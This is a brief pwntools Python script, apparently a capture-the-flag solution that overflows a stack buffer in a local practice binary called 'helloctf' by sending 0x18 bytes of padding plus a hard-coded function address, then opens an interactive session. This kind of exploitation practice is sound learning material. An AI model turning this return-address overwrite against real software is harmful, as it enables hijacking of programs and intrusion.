#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process('./helloctf')
# pause()

show_me_magic = 0x400627

payload = flat(
    cyclic(0x18),
    show_me_magic
)

p.sendlineafter(':', payload)

p.interactive()
p.close()
